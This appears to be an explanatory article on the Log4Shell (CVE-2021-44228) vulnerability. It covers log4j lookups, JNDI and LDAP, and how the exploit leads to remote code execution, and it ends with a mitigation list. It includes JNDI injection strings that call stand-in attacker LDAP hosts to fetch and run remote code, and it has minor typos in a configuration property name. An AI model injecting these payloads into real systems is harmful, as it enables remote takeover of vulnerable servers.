What is Apache Log4j Vulnerability?

On December 9th, 2021, the world was made aware of the single, biggest, most critical vulnerability as CVE-2021-44228, affecting the java based logging utility log4j. This vulnerability was reported to apache by Chen Zhaojun of the Alibaba cloud security team on 24th November 2021 and published in a tweet on 9th December 2021. 

Apache software foundation assigned a maximum severity score of 10/10. The vulnerability allows attackers to remote code execution and the payload string looks like “${jndi:ldap://attacker.com/a}”. Lots of organization-affected services include Cloudfare, apple iCloud, Minecraft: java edition, stream, Tencent QQ, and Twitter.

What are log4j and lookups?

Apache log4j is a java-based logging utility. Apache log4j role is to log information to help applications run smoothly, determine what’s happening, and debug processes when errors occur. log4j may logs login attempts (username, password), submission form, and HTTP headers (user-agent, x-forwarded-host, etc.) into the log file or database.

Apache log4j 2.0 introduces 

• New plugin system
• Support for properties
• Support JSON base configuration
• Automatic reloading its configuration

Lookups provide a way to add values to the log4j configuration at arbitrary places.

Syntax:

${prefix:name}

Types of lookups are as follows:

1. context may lookups
2. date lookups
3. environment lookups
4. jndi lookups (main reason of vulnerability)
5. java lookups
   • ${java:version}
   • ${java:runtime}
   • ${java:os}

Now let us briefly understand about LDAP AND JNDI before we learn log4j exploit

What is LDAP?

The Lightweight Directory Access Protocol (LDAP) is an open standard application protocol for accessing and maintaining distributed directory information services over an internet protocol network. In simple, information tree metaphor called Directory Information Tree (DIT). Suppose the user register in the application using a username and password. Here LDAP server stores user information in his account. whenever a user attempts login into the application, LDAP server verifies user identity using authorization. if the user’s username and password are correct then it returns the user’s account.

What is JNDI?

JNDI provides an API for applications to interact with remote objects registered with the RMI registry or directory service like LDAP. So, the java application can’t directly request to the LDAP server, because we need jndi that gives us the way to interact with LDAP.

Query: ${jndi:ldap://[server-ip-address]}

It is specific to a service provider interface (SPI) that allows directory service implementations to be plugin into the framework.

How you can exploit the log4j vulnerability?

Log4j allows logged messages to contain format strings that reference external information through the Java Naming and Directory Interface (JNDI). This allows information to be remotely retrieved across a variety of protocols, including the Lightweight Directory Access Protocol (LDAP).

supposed one of the services is vulnerable from log4j vulnerability. In the user-level view, when the user does anything like login attempts, log4j logs user data such as username, http-headers (user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)). In the attacker’s case, it inserts the JNDI query references pointing to the malicious LDAP server they control, ready to serve malicious java classes any action they choose. when the log4j saw the following query on log message:

${jndi:ldap://attacker_ldap_server.com/payload}

It instructs the JNDI to ask the server at “attacker_ldap_server.com” for the “paylod” object. JNDI will execute Java classes that an LDAP server references. If the LDAP server’s response references the URL http://attacker_ldap_server.com/payload, JNDI will automatically request the file “payload” from the webserver and execute the response. And yaa BOOM….! Now you can get RCE (Remote Code execution) in an application.

Mitigation

1. Log4j 1.x mitigation

• Log4j 1.x is not impacted by this vulnerability.

2. Log4j 2.x mitigation

• Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).

3. Log4j  >= v2.10 

• Log4j2.formatMsgNoLookuos=true
• LOG4J_FORMAT_MSG_NO_LOOKUPS=true

4. Log4j < v2.10

• Remove jndi lookup class from classpath

5. Block Exploits

• WAF rules
• Egress filters